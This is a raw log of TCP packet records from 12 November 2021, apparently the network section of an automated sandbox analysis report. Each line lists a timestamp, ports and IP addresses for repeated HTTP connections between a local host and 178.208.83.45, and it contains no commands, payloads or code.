Nov 12, 2021 22:24:53.516417027 CET	50218	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.516453028 CET	50218	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.632626057 CET	50218	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.634092093 CET	50220	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.655117989 CET	80	50218	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.655253887 CET	50218	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.656359911 CET	80	50220	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.656481028 CET	50220	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.657301903 CET	50220	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.679523945 CET	80	50220	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.681171894 CET	80	50220	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.681185961 CET	80	50220	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.681267023 CET	50220	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.788667917 CET	50220	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.790354967 CET	50221	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.811074972 CET	80	50220	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.811177015 CET	50220	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.812674046 CET	80	50221	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.812808990 CET	50221	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.813380003 CET	50221	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.836651087 CET	80	50221	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.842993021 CET	80	50221	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.843108892 CET	50221	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.942509890 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.942665100 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.960978985 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.983706951 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.985035896 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.985090971 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:53.985145092 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:53.985208035 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.101286888 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.101663113 CET	50221	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.103300095 CET	50222	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.123972893 CET	80	50219	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.124099016 CET	50219	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.124351978 CET	80	50221	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.125819921 CET	80	50222	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.125869036 CET	50221	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.125950098 CET	50222	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.126594067 CET	50222	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.149136066 CET	80	50222	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.167454004 CET	80	50222	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.169059038 CET	50222	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.273063898 CET	50222	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.274595976 CET	50223	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.295711040 CET	80	50222	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.295840025 CET	50222	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.296940088 CET	80	50223	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.297120094 CET	50223	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.300174952 CET	50223	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.322498083 CET	80	50223	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.328485966 CET	80	50223	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.328927040 CET	50223	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.444231033 CET	50223	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.445410013 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.466747999 CET	80	50223	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.467145920 CET	50223	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.467726946 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:54.467852116 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.468602896 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:54.491930962 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.527674913 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.527786970 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.538786888 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.538861990 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.539056063 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.539134026 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.561602116 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561629057 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561636925 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561651945 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561665058 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561676025 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561688900 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561701059 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561712980 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561724901 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561737061 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.561889887 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.561954975 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.562385082 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.562478065 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584363937 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584384918 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584393024 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584404945 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584414959 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584425926 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584435940 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584446907 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584459066 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584471941 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584479094 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584486961 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584539890 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584547043 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584553003 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584564924 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584577084 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584588051 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584602118 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584609032 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584644079 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584657907 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584670067 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584683895 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584697008 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584803104 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584814072 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.584873915 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.584894896 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.606867075 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.606883049 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.606892109 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.606899977 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.606910944 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.606987953 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607000113 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607011080 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607021093 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607031107 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607134104 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.607162952 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607176065 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607187033 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607197046 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607208014 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607218981 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607228994 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607237101 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607247114 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607259035 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607270002 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607276917 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607290983 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607300997 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.607312918 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.616555929 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629653931 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629669905 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629681110 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629693985 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629705906 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629717112 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629738092 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629750013 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629786015 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.629796982 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.638034105 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.650904894 CET	50226	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.673248053 CET	80	50226	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.673450947 CET	50226	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.674156904 CET	50226	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.679779053 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.679940939 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:55.696957111 CET	80	50226	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.943295956 CET	80	50226	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:55.943402052 CET	50226	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.054286957 CET	50226	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.055007935 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.056557894 CET	50227	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.077361107 CET	80	50226	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.077387094 CET	80	50224	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.077491045 CET	50226	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.077507973 CET	50224	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.079683065 CET	80	50227	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.079804897 CET	50227	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.080647945 CET	50227	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.104456902 CET	80	50227	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.139010906 CET	80	50227	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.139116049 CET	50227	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.241399050 CET	50227	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.243016958 CET	50228	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.264987946 CET	80	50227	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.265091896 CET	50227	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.267086983 CET	80	50228	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.267230034 CET	50228	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.267755032 CET	50228	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.290532112 CET	80	50228	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.318522930 CET	80	50228	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.318614960 CET	50228	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.381279945 CET	49799	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:24:56.398509026 CET	80	49799	162.159.129.233	192.168.2.4
Nov 12, 2021 22:24:56.398592949 CET	49799	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:24:56.428834915 CET	50228	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.436331034 CET	50229	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.451602936 CET	80	50228	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.451793909 CET	50228	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.458744049 CET	80	50229	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.458949089 CET	50229	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.460182905 CET	50229	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.482821941 CET	80	50229	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.496539116 CET	80	50229	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.496640921 CET	50229	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.600649118 CET	50229	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.601763964 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.623224974 CET	80	50229	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.623339891 CET	50229	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.624388933 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.624526024 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.625072002 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.647910118 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.667696953 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.667826891 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.698250055 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.698446035 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.698704004 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.698847055 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.721045017 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.721240997 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.721312046 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.721332073 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.721375942 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.721375942 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.721398115 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.721414089 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.721430063 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.721450090 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.721487999 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.744158030 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744191885 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744210005 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744225979 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744246006 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744262934 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744280100 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744298935 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744316101 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744333029 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.744415045 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.744482040 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.744513988 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.744544029 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.744564056 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.744576931 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.767189980 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767229080 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767244101 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767258883 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767272949 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767287970 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767330885 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767410994 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767430067 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767446995 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767446041 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.767462969 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767600060 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767616034 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767632008 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767749071 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767791033 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767925978 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767939091 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.767954111 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.773859024 CET	50231	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.790249109 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.790286064 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.790303946 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.790323973 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.793869972 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.793968916 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.796324015 CET	80	50231	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.796441078 CET	50231	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.797413111 CET	50231	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.819835901 CET	80	50231	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.828036070 CET	80	50231	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.828128099 CET	50231	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.955440998 CET	50231	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.955753088 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.956931114 CET	50232	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.978797913 CET	80	50231	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.978846073 CET	80	50230	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.978899002 CET	50231	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.978974104 CET	50230	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.979619980 CET	80	50232	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:56.979726076 CET	50232	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:56.983191013 CET	50232	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.005547047 CET	80	50232	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.020462990 CET	80	50232	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.020544052 CET	50232	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.133037090 CET	50232	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.134773970 CET	50233	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.157177925 CET	80	50233	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.157409906 CET	50233	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.157424927 CET	80	50232	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.157505035 CET	50232	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.158143044 CET	50233	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.181601048 CET	80	50233	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.190752983 CET	80	50233	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.190869093 CET	50233	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.306682110 CET	50233	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.329082012 CET	80	50233	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.329199076 CET	50233	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.381639957 CET	50234	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.404090881 CET	80	50234	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.404345036 CET	50234	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.405000925 CET	50234	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.427360058 CET	80	50234	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.434370995 CET	80	50234	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.434480906 CET	50234	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.538360119 CET	50234	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.540138960 CET	50235	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.562417984 CET	80	50234	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.562573910 CET	50234	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.563322067 CET	80	50235	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.563466072 CET	50235	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.564311028 CET	50235	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.587018967 CET	80	50235	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.599610090 CET	80	50235	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.599812984 CET	50235	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.711083889 CET	50235	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.712762117 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.733715057 CET	80	50235	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.733829975 CET	50235	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.738568068 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.738687992 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.739643097 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.761935949 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.766443014 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.766556025 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.826219082 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.826420069 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.826664925 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.826797962 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.849914074 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.850322008 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.850336075 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.850351095 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.850364923 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.850378036 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.850434065 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.850497007 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.873073101 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873091936 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873120070 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873142958 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873178959 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873207092 CET	50236	80	192.168.2.4	178.208.83.45
